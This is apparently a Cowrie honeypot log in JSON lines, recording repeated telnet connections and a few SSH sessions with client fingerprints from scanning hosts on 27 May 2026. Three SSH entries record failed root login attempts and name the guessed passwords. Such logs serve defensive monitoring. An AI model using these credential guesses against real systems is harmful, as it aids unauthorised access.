{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47636,"dst_ip":"159.203.135.109","dst_port":23,"session":"edd2edbb0bc8","protocol":"telnet","message":"New connection: 135.148.14.151:47636 (159.203.135.109:23) [session: edd2edbb0bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:10.674191Z"}
{"eventid":"cowrie.session.closed","duration":37.907727003097534,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:10.741029Z","src_ip":"135.148.14.151","session":"e09aab966eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53708,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d0f7fa1e6b4","protocol":"telnet","message":"New connection: 135.148.14.151:53708 (159.203.135.109:23) [session: 1d0f7fa1e6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:23.423026Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38714,"dst_ip":"159.203.135.109","dst_port":23,"session":"4106034f687a","protocol":"telnet","message":"New connection: 135.148.14.151:38714 (159.203.135.109:23) [session: 4106034f687a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:29.828012Z"}
{"eventid":"cowrie.session.closed","duration":0.00552058219909668,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:29.833380Z","src_ip":"135.148.14.151","session":"4106034f687a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54172,"dst_ip":"159.203.135.109","dst_port":23,"session":"79264fe3de9a","protocol":"telnet","message":"New connection: 135.148.14.151:54172 (159.203.135.109:23) [session: 79264fe3de9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:31.404962Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57488,"dst_ip":"159.203.135.109","dst_port":23,"session":"2559818a4ba5","protocol":"telnet","message":"New connection: 135.148.14.151:57488 (159.203.135.109:23) [session: 2559818a4ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:32.075439Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58752,"dst_ip":"159.203.135.109","dst_port":23,"session":"4498259a2811","protocol":"telnet","message":"New connection: 135.148.14.151:58752 (159.203.135.109:23) [session: 4498259a2811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:34.923543Z"}
{"eventid":"cowrie.session.closed","duration":36.89507269859314,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:47.569130Z","src_ip":"135.148.14.151","session":"edd2edbb0bc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52264,"dst_ip":"159.203.135.109","dst_port":23,"session":"9db7851dfc16","protocol":"telnet","message":"New connection: 135.148.14.151:52264 (159.203.135.109:23) [session: 9db7851dfc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:52.542046Z"}
{"eventid":"cowrie.session.closed","duration":0.006195068359375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:52.548059Z","src_ip":"135.148.14.151","session":"9db7851dfc16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39794,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a09851ba9d7","protocol":"telnet","message":"New connection: 135.148.14.151:39794 (159.203.135.109:23) [session: 9a09851ba9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:55.906131Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37172,"dst_ip":"159.203.135.109","dst_port":23,"session":"35bc27616e6c","protocol":"telnet","message":"New connection: 135.148.14.151:37172 (159.203.135.109:23) [session: 35bc27616e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:56.627586Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37860,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f967bf698ca","protocol":"telnet","message":"New connection: 135.148.14.151:37860 (159.203.135.109:23) [session: 1f967bf698ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:56.970167Z"}
{"eventid":"cowrie.session.closed","duration":35.012717485427856,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:58.435572Z","src_ip":"135.148.14.151","session":"1d0f7fa1e6b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.37166237831116,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:04.776477Z","src_ip":"135.148.14.151","session":"79264fe3de9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.64604449272156,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:09.721347Z","src_ip":"135.148.14.151","session":"2559818a4ba5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.63341665267944,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:11.556798Z","src_ip":"135.148.14.151","session":"4498259a2811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49936,"dst_ip":"159.203.135.109","dst_port":23,"session":"c221485b6083","protocol":"telnet","message":"New connection: 135.148.14.151:49936 (159.203.135.109:23) [session: c221485b6083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:15.708724Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52250,"dst_ip":"159.203.135.109","dst_port":23,"session":"7701c2834bd0","protocol":"telnet","message":"New connection: 135.148.14.151:52250 (159.203.135.109:23) [session: 7701c2834bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:21.931269Z"}
{"eventid":"cowrie.session.closed","duration":33.338902950286865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:29.244957Z","src_ip":"135.148.14.151","session":"9a09851ba9d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.86438345909119,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:31.491428Z","src_ip":"135.148.14.151","session":"35bc27616e6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0032548904419,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:36.748729Z","src_ip":"105.209.159.189","session":"c0097a6b4c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0022566318512,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:36.760576Z","src_ip":"105.209.159.189","session":"fdddddc39ee7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.20913314819336,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:38.179134Z","src_ip":"135.148.14.151","session":"1f967bf698ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33480,"dst_ip":"159.203.135.109","dst_port":23,"session":"d683eaf7e0a3","protocol":"telnet","message":"New connection: 135.148.14.151:33480 (159.203.135.109:23) [session: d683eaf7e0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:42.297632Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38120,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4959caf050e","protocol":"telnet","message":"New connection: 135.148.14.151:38120 (159.203.135.109:23) [session: d4959caf050e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:53.584639Z"}
{"eventid":"cowrie.session.closed","duration":38.047621965408325,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:53.756265Z","src_ip":"135.148.14.151","session":"c221485b6083","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":51882,"dst_ip":"10.17.0.5","dst_port":23,"session":"06ea772182f4","protocol":"telnet","message":"New connection: 105.209.159.189:51882 (10.17.0.5:23) [session: 06ea772182f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:54.273427Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":54932,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d0a0316b079","protocol":"telnet","message":"New connection: 105.209.159.189:54932 (10.17.0.5:23) [session: 1d0a0316b079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:55.236971Z"}
{"eventid":"cowrie.session.closed","duration":35.249427795410156,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:59:57.180563Z","src_ip":"135.148.14.151","session":"7701c2834bd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51338,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa030bb13118","protocol":"ssh","message":"New connection: 109.237.96.109:51338 (159.203.135.109:22) [session: aa030bb13118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:04.066197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:04.075280Z","src_ip":"109.237.96.109","session":"aa030bb13118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:04.237229Z","src_ip":"109.237.96.109","session":"aa030bb13118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:04.720601Z","src_ip":"109.237.96.109","session":"aa030bb13118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42570,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffcdcffebf04","protocol":"telnet","message":"New connection: 135.148.14.151:42570 (159.203.135.109:23) [session: ffcdcffebf04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:05.209219Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:05.894165Z","src_ip":"109.237.96.109","session":"aa030bb13118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.6527886390686,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:17.950302Z","src_ip":"135.148.14.151","session":"d683eaf7e0a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":45176,"dst_ip":"10.17.0.5","dst_port":22,"session":"d81236632a99","protocol":"ssh","message":"New connection: 194.113.233.25:45176 (10.17.0.5:22) [session: d81236632a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:22.212912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:22.517018Z","src_ip":"194.113.233.25","session":"d81236632a99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:22.520866Z","src_ip":"194.113.233.25","session":"d81236632a99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"30031989","message":"login attempt [root/30031989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:23.165667Z","src_ip":"194.113.233.25","session":"d81236632a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:24.333095Z","src_ip":"194.113.233.25","session":"d81236632a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.02491044998169,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:31.609451Z","src_ip":"135.148.14.151","session":"d4959caf050e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58772,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f7af39c375d","protocol":"telnet","message":"New connection: 135.148.14.151:58772 (159.203.135.109:23) [session: 8f7af39c375d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:37.836272Z"}
{"eventid":"cowrie.session.closed","duration":33.17998290061951,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:00:38.389071Z","src_ip":"135.148.14.151","session":"ffcdcffebf04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.904770374298096,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:01:13.740743Z","src_ip":"135.148.14.151","session":"8f7af39c375d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48846,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6c24c5f2d2d","protocol":"telnet","message":"New connection: 135.148.14.151:48846 (159.203.135.109:23) [session: c6c24c5f2d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:01:17.606404Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46482,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cd6037f22f2","protocol":"ssh","message":"New connection: 77.94.47.83:46482 (10.17.0.5:22) [session: 7cd6037f22f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:01:30.035519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:01:30.041183Z","src_ip":"77.94.47.83","session":"7cd6037f22f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:01:30.156342Z","src_ip":"77.94.47.83","session":"7cd6037f22f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tarasov","message":"login attempt [root/tarasov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:01:30.491785Z","src_ip":"77.94.47.83","session":"7cd6037f22f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:01:31.606412Z","src_ip":"77.94.47.83","session":"7cd6037f22f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56146,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd06108e6920","protocol":"telnet","message":"New connection: 135.148.14.151:56146 (159.203.135.109:23) [session: fd06108e6920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:01:33.019698Z"}
{"eventid":"cowrie.session.closed","duration":120.00194764137268,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:01:54.275249Z","src_ip":"105.209.159.189","session":"06ea772182f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00190615653992,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:01:55.238731Z","src_ip":"105.209.159.189","session":"1d0a0316b079","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.37627935409546,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:01:57.982597Z","src_ip":"135.148.14.151","session":"c6c24c5f2d2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.68849730491638,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:02:08.708112Z","src_ip":"135.148.14.151","session":"fd06108e6920","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44952,"dst_ip":"159.203.135.109","dst_port":23,"session":"2601e5143853","protocol":"telnet","message":"New connection: 135.148.14.151:44952 (159.203.135.109:23) [session: 2601e5143853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:02:11.274874Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51990,"dst_ip":"159.203.135.109","dst_port":23,"session":"b883feeda7b8","protocol":"telnet","message":"New connection: 135.148.14.151:51990 (159.203.135.109:23) [session: b883feeda7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:02:24.174885Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42946,"dst_ip":"159.203.135.109","dst_port":23,"session":"63ce4490d644","protocol":"telnet","message":"New connection: 135.148.14.151:42946 (159.203.135.109:23) [session: 63ce4490d644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:02:35.951851Z"}
{"eventid":"cowrie.session.closed","duration":0.006574392318725586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:02:35.958271Z","src_ip":"135.148.14.151","session":"63ce4490d644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59408,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccd2045edf08","protocol":"telnet","message":"New connection: 135.148.14.151:59408 (159.203.135.109:23) [session: ccd2045edf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:02:42.189130Z"}
{"eventid":"cowrie.session.closed","duration":33.549827098846436,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:02:44.824600Z","src_ip":"135.148.14.151","session":"2601e5143853","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35506,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ccd19480018","protocol":"telnet","message":"New connection: 135.148.14.151:35506 (159.203.135.109:23) [session: 1ccd19480018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:02:49.445039Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":51110,"dst_ip":"10.17.0.5","dst_port":23,"session":"b45a5cb9bd00","protocol":"telnet","message":"New connection: 105.209.159.189:51110 (10.17.0.5:23) [session: b45a5cb9bd00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:02:53.777048Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38144,"dst_ip":"159.203.135.109","dst_port":23,"session":"2078b8b7e6e5","protocol":"telnet","message":"New connection: 135.148.14.151:38144 (159.203.135.109:23) [session: 2078b8b7e6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:02:55.590483Z"}
{"eventid":"cowrie.session.closed","duration":35.205726623535156,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:02:59.380477Z","src_ip":"135.148.14.151","session":"b883feeda7b8","protocol":"telnet"}
